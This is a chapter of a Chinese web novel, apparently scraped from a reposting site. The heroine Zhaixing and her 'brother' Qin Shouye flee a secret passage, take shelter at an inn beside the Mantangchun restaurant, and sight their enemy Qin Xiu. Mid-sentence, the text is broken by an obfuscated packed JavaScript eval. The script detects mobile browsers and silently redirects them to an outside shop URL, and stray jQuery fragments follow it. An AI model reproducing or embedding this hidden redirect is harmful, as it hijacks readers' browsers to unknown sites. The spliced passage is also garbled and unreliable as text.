褐色泥土间露出点刺眼的蓝色,是一种与此处格格不入的蓝。

    摘星定定瞧着,似乎在哪处见过,正要刨开泥土细看,身后甬道却传来阵纷乱的脚步声。一双指节分明的手握住了她的手腕。

    秦收野拽住她催促到:“阿姐别看了,我可不想再被抓回去受罪。”话里藏着几分慌乱。

    摘星瞥了眼那抹蓝,耳边追赶的脚步声已经由远及近,她当即站起身,带着少年往出洞的密道走去。

    两人摸索着石壁,沿着幽深黑暗的密道行进尽头,被一道严丝合缝的石门堵住去路。

    一回生二回熟,摘星早已摸清里面的门道,熟练地从石壁上找出机关,咔哒一声,石门缓缓打开。

    身旁的秦收野则惊讶地望着她,直呼她深藏不露。

    待二人踏出密道,新鲜的空气争先恐后地涌入肺部,久违的阳光热乎乎地照在皮肤上,驱散了体内积攒的寒气。

    摘星舒服地眯起了眼,她转头回望缓缓合上的密道,不知为何,这地洞内格外的阴冷寒凉。

    隐隐瞧见远处丫鬟小厮忙碌的身影,两人又马不停蹄从墙边翻出了城主府,所幸墙外并没有守卫。

    又跑出几条街道,瞧着熙攘的人群,摘星这才稍稍放下心来,长吁了口气。

    秦收野扶住墙壁喘息:“终于逃出来了!”又转身朝城主府的方向淬了一口,“等着吧,小爷一定要找他们算账!”

    现下正是清晨,空气中弥漫出早点的香气。

    秦收野盯着远处热气腾腾的包子咽了咽口水,偏头朝摘星道:“走吧,先去买点吃的,我都快饿死了。”

    摘星摸了摸腰侧,空空如也。那日她被王叔打晕前身上是揣了些银子,但醒来后就不见了,也不知是掉在了某处,还是直接被人搜走了。

    她只得摊开两只手掌:“没钱。”

    “我的月银不都给你了吗?”

    “在家里。“

    “那我们回..."

    秦收野的声音戛然而止,他似乎也意识到了不妥,低头踢了一脚地上的石子。

    摘星叹了口气,敲闷棍的王大叔正住在家对面,好不容易逃出来,若这般大大咧咧回去,岂不是狼入虎口?

    何况这事看起来与丰都城主陆厌仇逃不开干系,强龙都压不住地头蛇,何况是她,眼下跑路才是上上策。

    “先看看能不能出城吧。”

    “咱们真是跟丧家野狗差不多。”秦收野嘴上抱怨,身体却很诚实地跟上了她。

    离封城已过了月余,城门口的铁甲守卫却只多不少。

    他们个个面容严肃,若有路人试图靠近,皆被他们驱赶了回来。

    躲在一旁的摘星见到这场景,便知道离城无望,此时肚子又不合时宜地响了一声。

    她靠在树荫下眼神扫过四周,正盘算着要不要好好“劫富济贫”一番。

    一旁的秦收野忽地跨开步子往城内走去,见她没动,催促道:“走吧。“

    “去哪?”

    少年脸上扬起久违的桀骜笑容,一双丹凤眼含着若有似无的笑意:“现下还是得靠我吧,放心自然不会让阿姐饿肚子。”

    语气中怪异地缱绻令摘星打了个激灵,但见他长腿几步已到了几米开外,忙追了上去。

    眼下只能死马当活马医了。

    路上她一直追问,秦收野却只神神秘秘说到了自然知晓。

    摘星不由暗自嘀咕这小子也学会卖关子,只得悻悻闭嘴跟紧他的步伐。

    穿过人群,绕过几条街巷,不知走了多久,秦收野开口道:“到了。”语气中带着些莫名的自豪。

    摘星抬起头,入目是一座高大华丽的酒楼,门头的牌匾刻着“满堂春”三个字。她眯起眼扭头四下打量。

    这红灯笼,这小巷,等等,这不是之前她把秦收野打失忆的地方吗!?

    她面色变得有些难看,猛地转头直直盯着面前的秦收野。

    少年皱眉看她,一脸都是你怎么了的疑惑。他瞥了眼,不知想到了什么,好似了然般轻哼一声:“这酒楼看上去可不便宜,现下我还没那么多银子,喏,先在这里将就一下吧。”他抬手往前指去。

    顺着他手指的方向,摘星这才瞧见他说的地方原来是另一家旅店。

    旅店临街而立,屋檐矮小,门楣上挂一块木牌写着”悦福客栈“。它紧挨着满堂春,路过的人很容易第一眼被高大的满堂春吸走目光。

    细细打量,见秦收野面色正常,摘星松口气,讷讷应了声,低着头朝客栈走去。

    秦收野瞧了眼华贵的酒楼,又看向略显简陋的悦福客栈,抿了抿唇,眼底的光芒黯然下去,几步追上她。

    悦福客栈的掌柜是个四十余岁的妇人,见二人进门,圆脸上挂起热络的笑容,语气带上几分惊喜:”小野?好久没见你了,六子昨天还说有空去找你嘞。”

    她又瞧向一旁站着的女子,眼中闪过惊艳:“哟,这姑娘可真标准,是你的相好吗?”

    秦收野耷拉着眉毛不知在想什么,似是没听见这话。摘星忙笑着解释道:“掌柜,我是小野的阿姐。”

    妇人眼底亮光更甚,走出柜台,上前握住摘星的手:“夏姑娘,是吧?不知你可否婚配,我家有个小子,今年刚满二十,你...."

    "啪“一袋银子被丢在柜台上,打断了妇人的话。

    秦收野似是回过神,开口道:李婶,先帮忙安排两间屋子,再准备些吃食。”

    摘星忙探头补充:“麻烦李掌柜多准备些。”

    “诶呦,怪我光顾着聊天,差点忘了正事。“李掌柜忙不迭走回柜台,打开布袋惊讶道:“阿野,那要得了这么多?”

    秦收野只道两人要在此多住几日,如此李掌柜笑眯眯地将银子收了下去。

    等待的间隙摘星戳了戳秦收野的后腰:“你居然藏了私房钱,还说什么银子都交给了我?说谎也不知羞!”

    秦收野收回望向满堂春的目光,低头瞥了眼::“哼,你之前不是才说我是家里的顶梁柱吗?自然得有自己的打算。”

    说罢两人又斗了几句嘴。

    “你们姐弟两感情可真好。“掌柜走出后厨,将饭菜摆上桌子,乐呵呵道。

    食物的香气涌进鼻腔,摘星咽了咽唾沫,则没心思再跟秦收野斗嘴,迫不及待地拿起了筷子。秦收野也是一般。

    两人很快如蝗虫般,风卷残云地将一整桌饭菜吃得一干

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17814275|208082||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    二净。

    摘星打了个饱嗝,察觉到掌柜诧异的眼神,略有些不好意思道:“店里的手艺太好了。”

    李婶摇摇头:“没事能吃是福,还要点别的吗?”

    摘星看向对面的秦收野,他擦了擦嘴,像只餍足的猫眯起了眼。

    “不必了,房间准备好了吗?”

    两人跟着她上了二楼,李掌柜安排了正对门的两间房。

    进屋简单洗漱后,摘星一头栽倒在床榻上,这些时日一直神经紧绷,加之密室里又潮又冷,她几乎没能睡过一场好觉。现下她几乎是沾到枕头就睡了过去。

    夜里久违的下了一场春雨,待雨停已是第三日。

    “夏姑娘,你还好吗?”掌柜站在屋外敲了敲门犹豫开口。

    见没人理会,她敲门的动作更大了些:“夏姑娘?”她面上升起忧虑,这姑娘一进屋便彻底没了动静,这已经过去了两日了。

    被敲门声惊醒,摘星迷迷糊糊睁开眼,晃了晃仍有些不清醒的头,起身将门拉开。

    李掌柜脸上闪过丝庆幸和后怕:“阿野走之前特意让我关照姑娘呢,万一你出了事,我都不知道怎么和他交代。”

    摘星解释说是自己近些时日太累了,她瞧了眼对面安静的房间问道:“我阿弟去哪了?”

    李掌柜道:“昨日带着我家六子去澜花坊谈生意去了,说是明日回来。”

    摘星疑惑道:“谈生意?”

    李掌柜诧异看了她一眼:”姑娘不知道吗,你阿弟是个有大本事的,可会做生意了,这铺子就是我家六子跟着他赚钱才盘下来。“

    摘星疑惑地追问,李掌柜却说不大清楚。

    “不说了,都是男人家的事。夏姑娘饿坏了吧,先下楼吃早点。”

    见问不出什么,摘星微微点头跟着她下了楼。刚坐下便瞧见从门外走进来的秦收野,身后跟着的是之前在码头被她揍过一顿的黑皮少年。

    李掌柜上前迎道:“六子、阿野,怎么这么快就回来了,不是说要明日吗?”

    秦收野一脸风平浪静,一副不显山水的模样。倒是黑皮少年愤愤道:“约好的事情,卖家说变卦就变卦,白白浪费我和野哥这两天的时间。”

    李掌柜安抚几句,又将人拖到摘星面前:“夏姑娘,这就是我那不成器的儿子,大名叫李六,还没成亲呢,你..."

    “这不是星姐吗?”李六见是她,面露惶恐,忙拦住自己热心过了头的老母亲,“您和野哥先聊,我和娘有点事。”说罢便拉着她进了后厨。

    摘星瞧着他的小动作,眼底闪过笑意,看来自己之前那顿鱼叉给他留下了不少的阴影。

    转头望向风尘仆仆的少年,正预备开口,却听见门外响起一阵车铃。

    一辆高大的马车缓缓停在对面的满堂春门口,架马的小厮放开缰绳,跳下马四肢匍匐跪在地上,一身穿黑色锦袍的中年男人踩着他的背下了马车。

    竟是一直久寻不得的秦修。

    摘星忙拉着秦收野躲进客栈。

    “怎么了?”

    见少年狐疑地看着自己,摘星犹豫片刻:“阿弟,那人便是我之前与你提过的秦修。”

    “也是我们的仇人。”